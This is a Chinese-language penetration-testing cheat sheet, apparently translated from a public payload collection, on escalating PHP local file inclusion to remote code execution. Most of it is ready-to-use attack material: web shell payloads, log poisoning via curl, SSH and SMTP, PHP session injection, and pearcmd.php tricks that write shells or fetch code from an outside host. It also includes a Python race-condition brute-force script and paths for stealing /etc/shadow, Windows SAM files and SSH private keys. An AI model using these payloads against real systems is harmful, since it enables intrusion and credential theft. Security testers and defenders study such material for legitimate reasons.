跳转至

从 LFI 到 RCE (LFI to RCE)

LFI(本地文件包含)漏洞发生在 Web 应用程序从本地文件系统包含文件时,通常是因为对用户输入的不安全处理。如果攻击者可以控制文件路径,则可能会包含敏感或危险的文件,如系统文件 (/etc/passwd)、配置文件,甚至可能导致远程代码执行 (RCE) 的恶意文件。

摘要 (Summary)

通过 /proc/*/fd 从 LFI 到 RCE

  1. 上传大量的 shell(例如:100 个)。
  2. 包含 /proc/$PID/fd/$FD,其中 $PID 是进程的 PID,$FD 是文件描述符。两者都可以进行暴力破解。
http://example.com/index.php?page=/proc/$PID/fd/$FD

通过 /proc/self/environ 从 LFI 到 RCE

类似于利用日志文件,在 User-Agent 标头中发送 Payload,它会反射在 /proc/self/environ 文件中。

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

通过 iconv 从 LFI 到 RCE

使用 iconv 过滤器触发 glibc 中的带外写入 (OOB) (CVE-2024-2961),然后利用 LFI 从 /proc/self/maps 读取内存区域并下载 glibc 二进制文件。最后,通过利用 zend_mm_heap 结构,将 free() 重映射到 system(利用 custom_heap._free)来实现 RCE。

要求:

  • PHP 7.0.0 (2015) 至 8.3.7 (2024)
  • GNU C 库 (glibc) <= 2.39
  • 能够访问 convert.iconv, zlib.inflate, dechunk 过滤器

利用工具:

通过文件上传从 LFI 到 RCE

如果您可以上传文件,只需在其中注入 Shell Payload(例如:<?php system($_GET['c']); ?>)。

http://example.com/index.php?page=path/to/uploaded/file.png

为了保持文件可读性,最好将 Payload 注入到图片/文档/PDF 的元数据中。

通过文件上传从 LFI 到 RCE (条件竞争)

  • 上传一个文件并触发自包含 (self-inclusion)。
  • 多次重复上传以:
    • 增加赢得条件竞争的几率
    • 增加猜测几率
  • /tmp/php[0-9a-zA-Z]{6} 的包含路径进行暴力破解。
  • 享受您的 Shell。
import itertools
import requests
import sys

print('[+] 正在尝试赢得条件竞争')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
    requests.post('http://target.com/index.php?c=index.php', f)

print('[+] 正在对包含路径进行暴力破解')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
    url = 'http://target.com/index.php?c=/tmp/php' + fname
    r = requests.get(url)
    if 'load average' in r.text:  # <?php echo system('uptime');
        print('[+] 成功获得 Shell: ' + url)
        sys.exit(0)

print('[x] 出错了,请重试')

通过文件上传从 LFI 到 RCE (FindFirstFile)

⚠ 仅适用于 Windows

在 Windows 系统中,FindFirstFile 允许在 LFI 路径中使用掩码(<< 代表 *> 代表 ?)。掩码本质上是一种可以包含通配符的搜索模式,允许用户或开发人员根据部分名称或类型搜索文件或目录。在 FindFirstFile 的上下文中,掩码用于过滤和匹配文件或目录的名称。

  • */<<:代表任何字符序列。
  • ?/>:代表任何单个字符。

上传一个文件,它应该存储在临时文件夹 C:\Windows\Temp\ 中,生成的名称类似于 php[A-F0-9]{4}.tmp。 然后,要么暴力破解 65536 个文件名,要么使用通配符,例如:http://site/vuln.php?inc=c:\windows\temp\php<<

通过 phpinfo() 从 LFI 到 RCE

phpinfo() 会显示任何变量的内容,如 $_GET$_POST$_FILES

通过向 PHPInfo 脚本发送多个上传 POST 请求,并精心控制读取,可以检索临时文件的名称,并向 LFI 脚本发起请求以指定该临时文件名。

使用脚本 phpInfoLFI.py

通过受控日志文件从 LFI 到 RCE

只需通过向服务(Apache、SSH 等)发起请求,将您的 PHP 代码附加到日志文件中,然后包含该日志文件。

http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/apache2/access.log
http://example.com/index.php?page=/var/log/apache2/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log

通过 SSH 实现 RCE

尝试使用 PHP 代码作为用户名进行 SSH 登录:<?php system($_GET["cmd"]);?>

ssh <?php system($_GET["cmd"]);?>@10.10.10.10

然后在 Web 应用程序中包含 SSH 日志文件。

http://example.com/index.php?page=/var/log/auth.log&cmd=id

通过 邮件实现 RCE

首先使用开放的 SMTP 发送一封电子邮件,然后包含位于 http://example.com/index.php?page=/var/log/mail 的日志文件。

root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: mail@example.com
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.

在某些情况下,您还可以使用 mail 命令行发送邮件。

mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null

通过 Apache 日志实现 RCE

在访问日志中污染 User-Agent:

curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"

注意:日志会转义双引号,因此请在 PHP Payload 中的字符串使用单引号。

然后通过 LFI 请求日志并执行命令。

curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id

通过 PHP 会话实现 RCE

检查网站是否使用 PHP 会话 (PHPSESSID)。

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

在 PHP 中,这些会话存储在 /var/lib/php5/sess_[PHPSESSID]/var/lib/php/sessions/sess_[PHPSESSID] 文件中。

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

将 Cookie 设置为 <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

使用 LFI 包含 PHP 会话文件。

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27

通过 PHP PEARCMD 实现 RCE

PEAR 是 PHP 可重用组件的框架和分发系统。默认情况下,hub.docker.com 上的每个 Docker PHP 镜像都在 /usr/local/lib/php/pearcmd.php 中安装了 pearcmd.php

pearcmd.php 文件使用 $_SERVER['argv'] 获取其参数。要使此攻击奏效,必须在 PHP 配置 (php.ini) 中将 register_argc_argv 指令设置为 On

register_argc_argv = On

有以下几种利用方式:

  • 方法 1:config create
/vuln.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET['cmd'])?>+/tmp/exec.php
/vuln.php?file=/tmp/exec.php&cmd=phpinfo();die();
  • 方法 2:man_dir
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+
/vuln.php?file=/tmp/exec.php&c=id

创建的配置文件包含 Web Shell。

#PEAR_Config 0.9
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";}
  • 方法 3:download(需要外部网络连接)。
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+download+http://<ip>:<port>/exec.php
/vuln.php?file=exec.php&c=id
  • 方法 4:install(需要外部网络连接)。请注意,exec.php 位于 /tmp/pear/download/exec.php
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://<ip>:<port>/exec.php
/vuln.php?file=/tmp/pear/download/exec.php&c=id

通过凭据文件实现 RCE

此方法需要在应用程序中拥有高权限才能读取敏感文件。

Windows 版本

提取 samsystem 文件。

http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system

然后从这些文件中提取哈希值 samdump2 SYSTEM SAM > hashes.txt,并使用 hashcat/john 进行破解,或使用哈希传递 (Pass The Hash) 技术进行重放。

Linux 版本

提取 /etc/shadow 文件。

http://example.com/index.php?page=../../../../../../etc/shadow

然后破解其中的哈希值,以便通过 SSH 登录机器。

另一种通过 LFI 获得 Linux 机器 SSH 访问权限的方法是读取 SSH 私钥文件:id_rsa。 如果 SSH 处于活跃状态,通过包含 /etc/passwd 的内容检查机器上正在使用的用户,并尝试访问每个具有家目录用户的 /<HOME>/.ssh/id_rsa

参考资料 (References)